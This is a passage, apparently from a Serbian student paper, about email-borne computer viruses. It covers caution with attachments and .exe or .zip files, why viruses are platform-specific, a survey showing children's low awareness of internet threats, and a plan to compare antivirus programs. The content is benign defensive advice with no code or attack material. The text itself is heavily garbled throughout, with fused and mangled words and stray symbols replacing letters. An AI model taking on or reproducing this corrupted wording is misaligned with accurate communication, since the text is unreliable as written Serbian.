taj n&in jedino mozemo od njih zastititi. U ovom radu srapalizirali viruse koji se Sire
elektronskom postom. Odabrali smo ovu vrstu virgsasvako od nagesto dobija nepozeljne
poruke od nepoznatih poSiljaoca. Kada dobijemo korurlo je bitno da proverimo njenog
poSiljaoca, ako je poruka poslata od nepoznateepdmidje je da je i ne otvaramo. Virusi uvek
dolaze u prilogu kao priklgen fajl,¢ak i ako je poSiljalac poznat potrebno je provesistenziju
prilozenom fajl-u. Bitno je zapamititi da .zip irr@kstenzije se koriste za upakovane fajlove, tako
da nemamo uvid u njihov sadrzaj. Tako da, ako debge dobijemo ovakav fajl samo ga onda
otvorimo ako smo i isto i@kivali. Potrebno je joS obratiti paznju na izvrédajlove kao na pr.

.exe, posto su oni programi kép se izvrsitiCak i ako smo priloZeni fajl savali, kompjuter jo3
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nije zarazen. Potrebno je znati da se virus iz&a&amo ako ga korisnik pokrene. Tako da ako ga

ne pokrenemo, virus sedeeaktivirati.

Tokom analiziranja smo doSli do zakika da jedan virus ne moZe sve kompjutere inficirati
Zasto je to tako? Jedan kompjuterski virus je paogran za odm@eni program, da bi iskoristio
njegove sigurnosne propuste, takocdato se dogodi da se virus ne moze aktivirati edsirom
programskom okruzenju. Uzmimo kao primer virus Kejikreiran za Windows operativnim
sistem, ovaj isti virus pod Linux operativnim sist@n nije funkcionalang¢ak i ako ga
pokrenemo ne moze da funkcioniSe posto ne mozeafasp fajlove koji su mu potrebni da bi
funkcionisao, posto isti u Linux-u ne postoje. K&o nije sigurno dée virus koji je pravljen za
odreteni programski paket nédoda funkcioniSe na novijim verzijama istog, nanper, virus koji
je pravljen za Programski paket Office 2003 ne madddunkcioniSe na novijoj verziji, Office
2007. Za ovo bismo mogli navesti dva razloga, jeathnajlogénijih je da noviji softverski paket
funkcioniSe na razitim principima od prvobitnog, i tako virus ne moda se upiSe, a drugi je
razlog da je zadatak novijih verzija bas to daaspgresSke koje su virusi do tad isk@éasali.
Imajuci u vidu navedeneginjenice za funkcionisanje virusa su potrebni ddre uslovi, koje je

kreator odredio, poSto je u suprothom virus nefiorkalan.

U danasnje vreme Internet je sve rasprostranjenigliki broj korisnika su deca. Zato smo
smatrali vrlo bitnim da napravimo jedan test kojimozemo dobiti pregled njihovog nivoa znanja
0 opasnostima Interneta. Po rezimiranju rezulteséatmozemo zakkiti da je nivo poznavanja
samog pojma virusa vrlo nizak. Todvematramo vrlo velikim problemom posto ovako u kali
meri dovode u opasnost i same podatke koje setnaaeu nalaze. Na pitanje da kako su dosli do
zakljutka da im je kompjuter zarazen, dobili smo "zaniwelfi odgovore, jedan od njih je da
"Monitor se nije upalio”, sto nam daje jasnu slita ve&ina dececak ni osnovne principe
funkcionisanja ré&unara ne poznaju. Sta bi bilo re3enje? Smatramdidse nacasovima
informatike trebalo viSe baviti osnovama funkci@mg r&unara i Interneta, ne samim
pretrazivanjem Interneta &eproblematikama koje skriva, jer za jedno dete npsi ne
predstavljaju samo virusi. Na Internetu nalazimstddoga na Sta jedno dete koje ide u osnovnu

Skolu, nije psihiki spremno.
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Sirenjem Interneta nisu se samo virusi rasprosiramégo i programi za zastitu od virusa.
Antivirusni program, je program koji za cilj ima d@am zastiti ré&unar od fajlova koji mogu da
mu nanesu Stetu. Saddvpostoji veliki broj antivirusnih programa, zbdgga se sa pravom
pitamo, po kojim kriterijumima da odaberemo antigmi program. U drugom delu ovog rada
pokuSavamo da dobijemo odgovor na ovo pitanje. Wolavog rada po svojoj voljtemo
odabrati antivirusne programe kogemo prikazati. Tokom prikaza odabranih programa,
prikazaemo njihovi kratku istoriju, instaliranje, odnosrapcije koje predmetni program
poseduje. Prednostemo davati besplatnim programima, posSto su oniugostSirem krugu
korisnika, alicemo prikazati i mogtnosti koje korisnik dobija kupovinom datog softve@vo
smatramo bitnim posto mnogi imaju misljenje dajétekuplje to je i bolje. Jedan od nepozeljnih
antivirusnih softvera je da usporavaju rad samgégnara, tako da je vrlo bitno da prikazemo i
minimalne zahteve, u smilju konfiguracije, koji potrebni da bi program funkcionisao. Ova
¢injenica je bitna posSto bi svaki korisnik hteo d#ekvatno zastiti svoj tainar, a da pri tom

moze bez smetnje da ga koristi.

Obi¢cno postavljamo pitanje da li svi antivirusni pragiapruzaju adekvatnu zastitu? Tako
mislimo da ne, imajti u vidu da se uvek prvo pojavi virus i tek nakgega zakrpa koja ga moze
prepoznati i eliminisati, i tokom ovog radasto smo nailazili na antivirusne prograti@ je

baza podataka bila manjkava, i prema tom nije mdglarepozna sve viruse.
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